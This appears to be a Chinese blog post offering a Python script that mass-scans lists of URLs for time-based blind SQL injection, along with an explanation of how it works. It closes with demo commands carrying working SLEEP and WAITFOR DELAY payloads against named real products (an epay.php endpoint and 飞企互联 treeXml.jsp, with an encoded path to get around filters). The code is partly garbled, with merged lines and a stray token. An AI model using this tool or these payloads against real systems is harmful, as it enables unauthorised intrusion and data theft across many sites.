【python脚本】批量检测sql延时注入

---

前言

SQL延时注入是一种在Web应用程序中利用SQL注入漏洞的技术，当传统的基于错误信息或数据回显的注入方法不可行时，例如当Web应用进行了安全配置，不显示任何错误信息或敏感数据时，延时注入可以作为一种有效的攻击手段。

于是我想！写个脚本来批量扫描岂不美滋滋！

---

批量检测sql延时注入

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import http.client
import ssl
import argparse
import time
from urllib.parse import urlparse
from urllib.parse import urlencode# 定义控制台输出颜色代码
# 定义控制台输出颜色代码
RED = '\033[91m'
RESET = '\033[0m'def check_sql_delay_injection(url, path, payload, method):"""检查给定的URL是否存在SQL延迟注入漏洞。:param url: 目标URL:param path: 注入点:param payload: 测试负载:param method: 传参方式"""try:# 构造HTTP请求头headers = {"Content-Type": "application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}# 如果是GET请求，将数据附加到URL后面if method.upper() == "GET":url1 = url# 构造用于检测SQL注入漏洞的URL路径url += pathurl += "?" + payload  # 注意：这里使用?来追加参数# 解析URL，获取协议、域名和路径parsed_url = urlparse(url)# 根据URL协议创建HTTP或HTTPS连接if parsed_url.scheme == "https":# 忽略SSL证书验证conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(parsed_url.netloc)# 记录请求开始时间start_time = time.time()# 发送GET请求conn.request("GET", url, headers=headers)response = conn.getresponse()# 记录请求结束时间elapsed_time = time.time() - start_timeelse:url1 = url# 解析URL，获取协议、域名和路径parsed_url = urlparse(url)body = payload# 根据URL的协议选择HTTP或HTTPS连接conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)start_time = time.time()# 发送POST请求conn.request("POST", path, body=body, headers=headers)response = conn.getresponse()# 记录请求结束时间elapsed_time = time.time() - start_time# 如果响应时间在3到5秒之间，可能存在延迟注入漏洞if 3 <= elapsed_time <= 6:print(f"{RED}URL [{url1}{path}|0.0620] 可能存在SQL延时注入漏洞{RESET}")else:print(f"URL [{url1}{path}|0.0620] 不存在SQL延时注入漏洞")except Exception as e:print(f"URL [{url1}{path}] 请求失败: {e}")def main():"""程序主入口，负责解析命令行参数并执行漏洞检查。"""# 创建命令行参数解析器parser = argparse.ArgumentParser(description='检测目标地址是否存在SQL延时注入漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')parser.add_argument('-p', '--path', default="", help='指定要请求的路径')parser.add_argument('-pl', '--payload', default="", help='')parser.add_argument('-m', '--method', default="POST", help='请求方法（GET或POST）')# 解析命令行参数args = parser.parse_args()# 如果指定了URL参数if args.url:# 确保URL以http或https开头if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 执行漏洞检查check_sql_delay_injection(args.url, args.path, args.payload, args.method)# 如果指定了文件参数elif args.file:# 打开文件并读取URL列表with open(args.file, 'r') as file:urls = file.read().splitlines()# 遍历文件中的每个URL进行检查for url in urls:# 确保URL以http或https开头dataif not url.startswith("http://") and not url.startswith("https://"):url = "http://" + url# 执行漏洞检查check_sql_delay_injection(url, args.path, args.payload, args.method)
# 程序入口
if __name__ == '__main__':main()

工作原理

这个Python脚本是一个用于检测SQL延迟注入漏洞的工具。它通过发送HTTP请求到目标URL，并根据响应时间来判断是否存在SQL延迟注入的可能性。以下是脚本的工作过程和原理的详细解释：

1. 导入模块：脚本开始时导入了所需的模块，包括http.client用于创建HTTP连接，ssl用于处理HTTPS请求的SSL上下文，argparse用于解析命令行参数，time用于测量请求的响应时间，以及urllib.parse中的urlparse和urlencode用于解析和编码URL。

2. 定义颜色代码：为了在控制台输出中使用颜色，脚本定义了两个变量RED和RESET，分别用于开始和结束红色文本的输出。

3. 定义检测函数：check_sql_delay_injection函数是脚本的核心，它接收目标URL、注入点、测试负载和传参方式作为参数。函数内部首先构造HTTP请求头，然后根据请求方法（GET或POST）来构造请求。

4. GET请求处理：

   • 如果请求方法是GET，脚本会将注入点和测试负载附加到URL后面，形成完整的请求URL。
   • 使用urlparse解析这个URL，获取协议、域名和路径。
   • 根据URL的协议（http或https），创建相应的HTTP或HTTPS连接。
   • 发送GET请求，并测量请求的响应时间。

5. POST请求处理：

   • 如果请求方法是POST，脚本会将测试负载作为请求体，并将注入点作为请求路径。
   • 与GET请求类似，根据URL协议创建连接，并发送POST请求。
   • 同样测量请求的响应时间。

6. 判断延迟注入：脚本通过比较响应时间是否在3到6秒之间来判断是否存在SQL延迟注入漏洞。如果是，脚本会输出警告信息，指出可能存在漏洞。

7. 异常处理：在尝试发送请求和接收响应的过程中，如果发生任何异常，脚本会捕获这些异常并输出错误信息。

8. 命令行参数解析：main函数负责解析命令行参数。用户可以通过-u/--url指定单个目标URL，或者通过-f/--file指定包含多个URL的文件。用户还可以指定请求路径（-p/--path）、测试负载（-pl/--payload）和请求方法（-m/--method）。

9. 执行检测：根据用户提供的参数，脚本会遍历每个URL并调用check_sql_delay_injection函数来执行检测。

10. 程序入口：脚本的标准入口是if __name__ == '__main__'部分，它调用main函数来启动程序。

这个脚本的原理基于SQL延迟注入漏洞的一个特点，通过构造特殊的SQL语句，使得数据库在执行时故意延迟，从而推断出某些信息。通过测量HTTP请求的响应时间，脚本尝试检测这种延迟。如果响应时间异常，就可能表明存在SQL延迟注入漏洞。

脚本演示

测试用例1：29网课交单平台epay.phpSQL注入漏洞
测试命令：

python .\sqltime.py -f .\url-post.txt -p "/epay/epay.php" -pl "out_trade_no=' AND (SELECT 8078 FROM(SELECT(SLEEP(3)))eEcA) AND 'aEmC'='aEmC" -m POST

测试用例2：飞企互联treeXml.jspSQL注入
测试命令：

python .\sqltime.py -f .\url-get.txt -p "/sys/treeXml.js%70" -pl "menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function" -m GET

---

当人们做不到一些事情的时候，他们会对你说你也同样不能。